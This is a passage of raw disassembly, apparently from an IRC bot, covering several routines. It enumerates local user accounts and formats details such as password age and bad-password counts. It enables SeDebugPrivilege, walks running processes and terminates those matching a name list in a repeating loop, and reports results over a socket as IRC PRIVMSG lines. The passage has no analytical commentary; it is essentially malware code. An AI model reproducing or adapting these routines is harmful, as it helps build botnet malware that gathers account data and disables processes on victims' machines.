		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CF0
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA74


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB944
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439EE0
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EAC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA74
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA74


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5F0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5F0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4270C8	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9F4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3EC
		push	offset unk_43A214
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3EC
		push	eax
		push	offset dword_43A1E8
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_427104	; GetCurrentProcess
		push	eax
		call	dword_4CB9C8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB9A0	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA50	; AdjustTokenPrivileges
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		call	dword_427070	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CBA04, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9E8, ebx
		jz	loc_419E08
		cmp	dword_4CB8F8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CBA04	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9E8	; Process32First
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8F8	; Process32Next
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A240


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_42718C	; lstrcmpi
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A2A0
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	dword_4270FC	; TerminateProcess
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CBA04	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB8A4	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8F8	; Process32Next
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4270FC	; TerminateProcess
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A440
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A41C
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F8


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_42708C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		call	dword_4270FC	; TerminateProcess
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		call	dword_427070	; CloseHandle


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419F4D	proc near		; DATA XREF: sub_401221+3CDo
		push	esi
		xor	esi, esi


loc_419F50:				; CODE XREF: sub_419F4D+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419C09
		add	esp, 18h
		push	dword_43A23C
		call	dword_427080	; Sleep
		jmp	short loc_419F50
sub_419F4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC58
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi	; CloseHandle


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC60
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi	; CloseHandle


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC54
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi	; CloseHandle


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p
					; sub_416000+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC5C
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB98
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		call	dword_427080	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
